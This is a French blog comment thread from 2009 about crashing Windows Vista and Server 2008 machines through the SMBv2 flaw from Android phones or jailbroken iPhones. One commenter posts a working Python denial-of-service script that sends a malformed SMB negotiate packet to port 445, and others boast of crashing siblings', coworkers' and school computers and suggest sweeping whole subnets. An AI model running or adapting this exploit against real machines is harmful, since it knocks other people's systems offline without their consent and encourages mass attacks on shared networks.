Commentaires sur : Devenez The Master of BSoD grâce à Android

Par : Corentin

Corentin — Fri, 09 Oct 2009 12:08:02 +0000

J’ai fait l’application gratuitement sous le nom de : WinExploitSMBv2 (disponible sur le market)

Par : elban44

elban44 — Sat, 26 Sep 2009 13:34:51 +0000

Android c’est vraiment le système mobile d’avenir.

Sur mon blog j’explique pourquoi c’est préférable aux systèmes propriétaires

http://a.drouan.free.fr/

Par : Bjnn

Bjnn — Fri, 18 Sep 2009 19:49:27 +0000

Le proof of concept est un script python, le python est un langage interprété (CF Wikipedia), donc suffit d’avoir l’interpréteur python d’installer et tu peux lances le script, que ce soit sur windows, linux, mac, iphone et tout ce qui possède un interpréteur python, c’est à dire beaucoup d’OS…

Par : Technologix

Technologix — Fri, 18 Sep 2009 18:13:11 +0000

Pas d’application pour Windows?

Par : Bjnn

Bjnn — Thu, 17 Sep 2009 19:18:32 +0000

Déjà qu’on nage en plein script kidding va tetre pas faloir pousser les gars renseigner vous sur le python via Google, en 5min vous aurez la rep a votre question et en 1h les bases du langage.

Par : jofrenchy

jofrenchy — Thu, 17 Sep 2009 09:10:52 +0000

Idem

Par : Jo

Jo — Thu, 17 Sep 2009 08:22:27 +0000

@ Bjnn: salut, comment on utilise ton code sur l’iPhone?
J’ai python et terminal, mais je sais pas comment on lance l’exécution du code.
Merci

Par : Armetiz

Armetiz — Thu, 17 Sep 2009 08:12:07 +0000

Pfui, les gens ne sont même pas drôles… Ils ne veulent pas désactivé le firewall

Par : No0ne

No0ne — Thu, 17 Sep 2009 00:18:54 +0000

Voici une premiere version pour envoyer sur plusieurs ip.
Avec en prime un service, qui tourne toutes les minutes

http://jump.fm/YIVRX

adb install SmbPoc.apk

Par : Bjnn

Bjnn — Wed, 16 Sep 2009 21:20:57 +0000

@Bouu
Ok merci d’avoir testé ^^, jsuis pas très doué non plus en python, le top ce serai de mettre par défaut 192.168.1.x et de demander à rentrer que x, encore moins chiant.

Et encore plus vicieux, en poussant un peux plus loin on pourrai caler un incrémenteur sur x pour planter les 255 machines potentiellement connectés XD

Par : Bouu

Bouu — Wed, 16 Sep 2009 20:19:00 +0000

@Bjnn:
Ton truc marche très bien je peux te le confirmer.
Il faut tout de même avouer que c’est plus classe de faire tout péter avec juste une iphone

PS: je suis tellement nul en python que je savais même pas que pour demander qqch c’était raw_input() xD (faudrait vraiment que je m’y mette un jour …

Par : Bjnn

Bjnn — Wed, 16 Sep 2009 13:44:03 +0000

Pour mon iphone j’ai bidouillé ça (enfin juste la question qui demande l’adresse ip hein…, a lancer en terminal avec python :

______________________________________________
from socket import socket
from time import sleep

IP = raw_input(« IP local : «
host = IP, 445
buff = (
« x00x00x00x90″ # Begin SMB header: Session message
« xffx53x4dx42″ # Server Component: SMB
« x72x00x00x00″ # Negociate Protocol
« x00x18x53xc8″ # Operation 0×18 & sub 0xc853
« x00x26″# Process ID High: –> normal value should be « x00x00″
« x00x00x00x00x00x00x00x00x00x00xffxffxffxfe »
« x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54″
« x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31″
« x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00″
« x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57″
« x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61″
« x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c »
« x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c »
« x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e »
« x30x30x32x00″
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
_____________________________________________

Le seul truc c’est que j’ai pas de pc sous windows sous la mains, si quelqu’un peut me dire si ça marche =)

Edit : avec des guillemets à la place des « , interdit ici surement par question de sécurité

Par : yelle

yelle — Wed, 16 Sep 2009 12:22:55 +0000

Approuvé sur un serveur windows 2008 de mon admin systeme windows.

Désormais, il me craint

Par : Droïde

Droïde — Wed, 16 Sep 2009 11:13:23 +0000

Approuvé sous Seven, je viens de tester avec mon HTC Dream avec bsdroid.

Par : Bibou

Bibou — Wed, 16 Sep 2009 09:05:03 +0000

Hi guys,
Sur iPhone trop facile, testé au taf sur un vista l instant
il suffit d’avoir: iPhone JB, mobile terminal, python.
Copier le script python en scp et c’est gagné

Par : al.jes

al.jes — Wed, 16 Sep 2009 08:50:35 +0000

Et là, je suis dégouté d’avoir un iPhone même pas jailbreaké…
Quelqu’un m’offre un HTC Hero ?

Par : The Shughart Insider » vista-bsod

The Shughart Insider » vista-bsod — Tue, 15 Sep 2009 23:14:44 +0000

[...] Un article sur une faille de Vista qui fait beaucoup marrer ! [...]

Par : MikeZ

MikeZ — Tue, 15 Sep 2009 20:36:01 +0000

@Deadeye

Oui mais utiliser le parefeu de vista c’est déjà de l’hérésie donc a priori le mec qui fait ca est Masochiste, et tu va le faire jouir a chaque BSOD que tu provoques

(Quoi, vista est une hérésie à lui tout seul? Au secours, un troll

Euh Korben je pige pas pourquoi tu parles de Seven alors que dans l’article sous le lien « patch » il est indiqué que Seven n’est pas affecté mais Vista et les serveurs 2008 ?

Par : Bouu

Bouu — Tue, 15 Sep 2009 20:15:51 +0000

@xbb : bonne idée je test ça tout de suite

@Zaoza : mais non c’est de la geekomania aigue

Sinon je pense qu’il faudrait un p’tit programmeur pour adapter le code pour y rajouter un scan de toutes les ip locales… après vous connaissez la suite ^^.
Je sais je suis très méchant mais j’ai bien envie de faire sauter tout mon lycée d’un coup Mouhahaha !!

Par : Murphy

Murphy — Tue, 15 Sep 2009 20:12:19 +0000

@Ptitkarl: Quelqu'un connait un scanneur d'ip gratuit pour Android ?

Par : Zaoza

Zaoza — Tue, 15 Sep 2009 20:04:42 +0000

Ça c’est du nolife…

Par : xbb

xbb — Tue, 15 Sep 2009 19:02:29 +0000

J’ai une idée !
Pour iPhone jailbreaké, il suffit d’avoir un interpréteur python, un ptit transfert du fichier contenant le script et hop c’est dans la boite !

Par : ProxyJ

ProxyJ — Tue, 15 Sep 2009 19:01:31 +0000

Salut !

Peut-être que ma question est un peu bête, mais est-ce que provoquer un BsoD peut-il être dangereux pour la machine ? Ou un simple redémarrage permet de régler le problème ?

Merci d’avance pour vos réponses,

Par : Bouu

Bouu — Tue, 15 Sep 2009 18:26:38 +0000

Wouaaahhh !!!
Géant c’est trop fort j’ai essayé (pas sur un tel) d’executer le code à partir de mon ordi pour attaquer l’ordi de mon frère (niark niark!), et je peux dire que c’est radical !
Il faut avouer que c’est la première fois que wow se quitte aussi vite

Et comme d’habitude :
Je suis content d’avoir un mac
Allez que du bonheur \o/

Par : Xeo

Xeo — Tue, 15 Sep 2009 18:03:11 +0000

A quand sur iPhone? Bon ok ok…

Par : k3nshin

k3nshin — Tue, 15 Sep 2009 17:01:18 +0000

Testé sur Vista32 & 64, avec le script python, ça marche du tonnerre
(Sauf si le firewall de la cible est actif …
Raaah comme au bon vieux temps! ^^

Par : Ptitkarl

Ptitkarl — Tue, 15 Sep 2009 16:27:06 +0000

Magique, testé tout à l’heure en cours, couplé à un scanneur d’ip c’est le pied

Par : Gana

Gana — Tue, 15 Sep 2009 16:13:20 +0000

y’a pas la même chose pour Pico Inox RX-180 ?

Par : krank

krank — Tue, 15 Sep 2009 15:46:39 +0000

Tout a fait, le partage smb doit être activé, sinon ça ne fonctionne pas.
Par contre ce qui pu bien c’est que cela touche aussi 2008 serveur, là ça craint.
Cher collègues SysAdmin à vos patch

Par : artiflo

artiflo — Tue, 15 Sep 2009 15:34:05 +0000

Et il faut que le partage smb sois activé, non ?

Ce qui dans le cas de machine qui ne sont pas serveur est assez rare.